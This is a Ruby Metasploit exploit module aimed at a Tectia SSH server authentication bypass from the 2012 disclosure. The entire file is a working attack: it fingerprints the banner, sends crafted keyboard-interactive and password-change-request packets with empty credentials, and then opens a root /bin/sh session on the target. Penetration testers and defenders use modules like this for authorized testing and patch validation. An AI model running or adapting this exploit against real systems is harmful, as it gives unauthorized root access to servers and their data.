require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
'Description'=> %q{
This module exploits a vulnerability in Tectia SSH server for Unix-based
platforms.The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
before password authentication, allowing any remote user to bypass the login
routine, and then gain access as root.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'kingcope',
'bperry',
'sinn3r'
],
'References' =>
[
['EDB', '23082'],
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12']
],
'Payload'=>
{
'Compat' =>
{
'PayloadType'=> 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets'=>
[
['Unix-based Tectia SSH 6.3.2.33 or prior', {}],
],
'Privileged' => true,
'DisclosureDate' => "Dec 01 2012",
'DefaultTarget'=> 0))
register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'The username to login as', 'root'])
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def check
connect
banner = sock.get_once
print_status("#{rhost}:#{rport} - #{banner}")
disconnect
return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/
return Exploit::CheckCode::Safe
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def auth_keyboard_interactive(user, transport)
print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")
auth_req_pkt = Net::SSH::Buffer.from(
:byte, 0x32,
:string, user,
:string, "ssh-connection",
:string, "keyboard-interactive",
:string, "",
:string, ""
)
user_auth_pkt = Net::SSH::Buffer.from(
:byte, 0x3D,
:raw, 0x01,
:string, "",
:raw, "\0"*32
)
transport.send_message(auth_req_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
transport.send_message(user_auth_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
2.times do |i|
transport.send_message(auth_req_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
transport.send_message(user_auth_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
end
end
def userauth_passwd_change(user, transport, connection)
print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")
pkt = Net::SSH::Buffer.from(
:byte, 0x32,
:string, user,
:string, "ssh-connection",
:string, "password"#method name
)
pkt.write_bool(true)
pkt.write_string("")
pkt.write_string("")
transport.send_message(pkt)
message = transport.next_message.type
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
if message.to_i == 52
transport.send_message(transport.service_request("ssh-userauth"))
message = transport.next_message.type
if message.to_i == 6
shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true)
connection = nil
return shell
end
end
end
def do_login(user)
opts = {:user=>user, :record_auth_info=>true}
options= Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
transport= Net::SSH::Transport::Session.new(rhost, options)
connection = Net::SSH::Connection::Session.new(transport, options)
auth_keyboard_interactive(user, transport)
userauth_passwd_change(user, transport, connection)
end
def exploit
if check != Exploit::CheckCode::Appears
print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")
return
end
c = nil
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
c = do_login(datastore['USERNAME'])
end
rescue Rex::ConnectionError, Rex::AddressInUse
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
end
handler(c.lsock) if c
end
end